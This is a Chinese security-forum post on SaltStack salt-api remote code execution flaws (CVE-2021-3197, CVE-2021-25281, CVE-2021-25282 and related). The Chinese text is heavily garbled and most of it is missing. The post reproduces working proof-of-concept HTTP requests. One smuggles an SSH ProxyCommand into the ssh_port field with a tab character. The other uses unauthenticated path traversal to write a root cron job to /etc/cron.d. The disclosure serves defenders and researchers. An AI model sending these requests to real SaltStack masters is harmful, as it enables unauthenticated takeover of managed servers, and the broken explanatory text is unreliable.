[28797] 2021-03-11_SaltStackAPI漏洞

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2021-03-11_SaltStackAPI漏洞 S a l t S t a c k   A P I O t s   2 0 2 1 - 0 3 - 1 1 C V E - 2 0 2 1 - 3 1 9 7 C V E - 2 0 2 1 - 2 5 2 8 1 C V E - 2 0 2 1 - 2 5 2 8 2 2 0 2 0 1 1 S a l t   A P I R C E C V E - 2 0 2 0 - 1 6 8 4 6 C V E - 2 0 2 0 - 2 5 5 9 2 A P I C V E - 2 0 2 0 - 1 6 8 4 6 _ s p l i t _ c m d s h e l l = T r u e 使 s s h P O S T s s h S S H - 0 9 2 0 C V E - 2 0 2 1 - 3 1 9 7 S S H   P r o x y C o m m a n d C V E - 2 0 2 0 - 2 5 5 9 2 1 1 /   r u n w h e e l _ a s y n c 使 C V E - 2 0 2 1 - 2 5 2 8 1 p i l l a r _ r o o t s . w r i t e C V E - 2 0 2 1 - 2 5 2 8 2 f i l e _ r o o t s . w r i t e C V E - 2 0 2 0 - 1 1 6 5 2 p o s t e r _ r o o t s U b u n t u   S a l t r o o t c r o n t a b S a l t - C V E - 2 0 2 1 - 2 5 2 8 3 线 线 2 0 2 0 1 1 2 7 S a l t S a l t 2 4 2 2 5 9 0 S a l t h t t p s : / / g i t l a b . c o m / s a l t s t a c k / o p e n / s a l t - p a t c h e s / - / b l o b / m a s t e r / p a t c h e s / 2 0 2 0 / 0 9 / 0 2 / 3 0 0 2 . p a t c h # L 3 2 s s h _ p o r t = 2 2 2 2 % 0 9 - o % 2 0 P r o x y C o m m a n d = " t o u c h % 2 0 / t m p / r c e " A u t h e n t i c a t e d   a r g u m e n t   i n j e c t i o n   i n   n e t a p i   s a l t - a p i   S S H   c l i e n t T h e   f i x   f o r   C V E - 2 0 2 0 - 1 6 8 4 6   e s c a p e s   t h e   i n p u t   t o   t h e   n e t a p i   s s h   c l i e n t .   H o w e v e r   a n   a t t a c k e r   c a n   s t i l l   i n j e c t   a r g u m e n t s   u s i n g   t h e   % 0 9   ( t a b )   c h a r a c t e r ,   w h i c h   a r e   p a s s e d   t h r o u g h   t o   S S H   i n v o c a t i o n s .   F o r   e x a m p l e ,   t h e   f o l l o w i n g   r e q u e s t   w i l l   c r e a t e   t h e   P O S T   / r u n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 2 0 0 . 1 2 9 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 6 5 c l i e n t = s s h & r o s t e r = & t g t = * & f u n = t e s t . p i n g & s s h _ u s e r = t e s t 1 2 3 & s s h _ p o r t = 2 2 2 2 % 0 9 - o % 2 0 P r o x y C o m m a n d = " t o u c h % 2 0 / t m p / r c e " & s s h _ p r i v = a s ` i d ` d f & e a u t h = p a m & u s e r n a m e = u s e r & p a s s w o r d = u s e r T h i s   e n d s   u p   e x e c u t i n g   t h e   c o m m a n d   : s s h   1 9 2 . 1 6 8 . 2 0 0 . 1 3 1   - o   K b d I n t e r a c t i v e A u t h e n t i c a t i o n = n o   - o   P a s s w o r d A u t h e n t i c a t i o n = y e s   - o   G S S A P I A u t h e n t i c a t i o n = n o   - o   C o n n e c t T i m e o u t = 6 5   - o   P o r t = 2 2 2 2   - o   P r o x y C o m m a n d = t o u c h   / t m p / r c e   - o   I d e n t i t y F i l e = a s d f   - o   U s e r = u s e r   / b i n / s h     < <   w h i c h   e x e c u t e s   t h e   c o m m a n d   t h r o u g h   t h e   P r o x y C o m m a n d   a r g u m e n t   t o   S S H .   O t h e r   p a r a m e t e r s   p a s s e d   t h r o u g h   a r e   a l s o   v u l n e r a b l e   s u c h   a s   s s h _ p r i v   a n d   s s h _ u s e r ,   a s   l o n g   a s   t h e y   a r e   n o t   d e f i n e d   a l r e a d y   = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = U n a u t h e n t i c a t e d   a r b i t r a r y   f i l e   w r i t e   i n   s a l t - a p i T h e   w h e e l _ a s y n c   c l i e n t   d o e s   n o t   c h e c k   f o r   a u t h e n t i c a t i o n   w h e n   i t   i s   c a l l e d .   T h i s   a l l o w s   a n   a r b i t r a r y   f i l e   w r i t e   i n   c o n j u n c t i o n   w i t h   a   p a t h   t r a v e r s a l   i n   t h e   p i l l a r _ r o o t s . w r i t e   f u n c t i o n .   A s   t h e   s a l t - m a s t e r   r u n s   P O C : - - P O S T   / r u n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 2 0 0 . 1 2 9 C o n t e n t - L e n g t h :   1 8 7 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = U T F - 8 { " t o k e n " : " 1 " , " c l i e n t " : " w h e e l _ a s y n c " , " f u n " : " p i l l a r _ r o o t s . w r i t e " , " a r g " : [ ] , " k w a r g " :   { " d a t a " : " *   *   *   *   *   r o o t   / b i n / b a s h   - c   " t o u c h   / t m p / r c e 4 " n " , " p a t h " : " . . / . . / . . / . . / e t c / c r o n . d / s a l t r c e 4 " } } - - A f t e r   a   m i n u t e ,   c h e c k   i n   / t m p /   f o r   t h e   r c e 4   f i l e ,   w h i c h   s h o u l d   h a v e   b e e n   c r e a t e d   b y   t h e   c r o n t a b .   T h e r e   a r e   p r o b a b l y   o t h e r   w a y s   t o   e x p l o i t   t h i s   f i l e   w r i t e   t o   o b t a i n   c o d e   e x e c u t i o n .

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则